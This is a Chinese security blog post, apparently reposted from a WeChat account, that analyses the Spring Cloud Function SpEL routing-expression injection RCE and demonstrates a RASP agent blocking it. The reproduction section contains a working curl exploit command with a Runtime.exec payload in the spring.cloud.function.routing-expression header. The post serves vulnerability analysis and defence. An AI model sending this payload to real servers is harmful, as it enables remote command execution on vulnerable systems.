RASP | Spring Cloud Function 表达式注入漏洞

admin 2025年2月26日13:44:47评论34 views字数 917阅读3分3秒阅读模式

漏洞简介

SpringCloudFunction是一个SpringBoot开发的Servless中间件(FAAS),支持基于SpEL的函数式动态路由。在特定配置下,存在SpEL表达式执行导致的RCE。

影响版本

3 <= 版本 <= 3.2.2( commit dc5128b) 之前

漏洞原理

在 main 分支commit dc5128b(https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52)中,新增了 SimpleEvaluationContext

RASP | Spring Cloud Function 表达式注入漏洞同样的,官方测试用例已经清楚地写明了漏洞位置与Payload:

RASP | Spring Cloud Function 表达式注入漏洞

提取出测试类后在apply方法下断并跟入,省略一些中间流程,最终可以看到从HTTP头spring.cloud.function.routing-expression 中取出SpEL表达式并由 StandardEvaluationContext 解析。

漏洞复现

改造官方提供的sample来复现漏洞(切换tag v3.2.1)

RASP | Spring Cloud Function 表达式注入漏洞

启动 java 进程,并开启动态注入:

RASP | Spring Cloud Function 表达式注入漏洞

RASP | Spring Cloud Function 表达式注入漏洞

发送攻击请求

curl --location --request POST 'http://49.235.111.228:8080/functionRouter' --header 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("open /Applications/QQ.app")' --header 'Content-Type: text/plain' --data 'Hello'

RASP防护

请求被阻断: 

RASP | Spring Cloud Function 表达式注入漏洞

查看攻击详情:

攻击信息: 

RASP | Spring Cloud Function 表达式注入漏洞

攻击详情: 

RASP | Spring Cloud Function 表达式注入漏洞

调用栈: 

RASP | Spring Cloud Function 表达式注入漏洞

请求附带信息:

RASP | Spring Cloud Function 表达式注入漏洞

官网:http://www.jrasp.com

github:https://github.com/jvm-rasp/jrasp-agent

加入技术交流群请添加微信:sear2022

原文始发于微信公众号(RASP安全技术):RASP | Spring Cloud Function 表达式注入漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月26日13:44:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RASP | Spring Cloud Function 表达式注入漏洞https://cn-sec.com/archives/853656.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息